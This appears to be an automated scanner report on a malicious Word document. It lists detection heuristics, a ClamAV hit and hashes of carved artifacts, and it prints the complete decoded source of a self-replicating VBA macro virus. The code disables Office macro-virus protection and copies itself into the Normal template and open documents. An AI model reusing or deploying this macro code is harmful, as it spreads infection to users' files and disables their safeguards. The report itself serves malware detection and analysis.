MALICIOUS
148
Risk Score
Heuristics 3
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATIONVBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.Matched line in script
Options.VirusProtection = False -
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Private Sub Document_Open()
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1462 bytes |
SHA-256: 05b7e6a36f76e26d3b5813d4690cf932770206094a893e7b4e0a6d8cf307b71f |
|||
|
Detection
ClamAV:
Doc.Trojan.NSI-2
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub CommandBuOpen()
End Sub
Private Sub Document_Open()
On Error Resume Next
Options.VirusProtection = False
EnableCancelKey = wdCancelDisabled
Set maci = MacroContainer.VBProject.VBComponents.Item(1)
Set macic = maci.codemodule
ns$ = Left(macic.lines(1, 1), 21)
Set inf = NormalTemplate: nsi$ = ns$ + "Close()"
If MacroContainer = inf Then Set inf = ActiveDocument: nsi$ = ns$ + "Open()"
Set infc = inf.VBProject.VBComponents
Set infi = infc.Item(1)
Set infic = infi.codemodule
infi.Name = "ThisDocument"
For mx = 2 To infc.Count
infc.Remove infc.Item(2)
Next mx
If infic.countlines <> macic.countoflines Then
infic.deletelines 1, infic.countoflines
For coco = 1 To macic.countoflines
infic.insertlines coco, macic.lines(coco, 1)
Next coco
infic.replaceline 1, nsi$
End If
If Left(ActiveDocument.Name, 8) <> Mid$(macic.lines(1, 1), 13, 8) Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
EnableCancelKey = wdCancelDisabled
End Sub
'ThisDocument v 1.0 1999
Private Sub OptionButton1_Click()
End Sub
|
|||
ole10native_00.bin |
ole-package | OLE Ole10Native stream: ObjectPool/_1014486941/Ole10Native | 121092 bytes |
SHA-256: eab34d4f237eb52d66f9ad2789789614d63c96cc6e4d1b44bcf5890cbba9445a |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.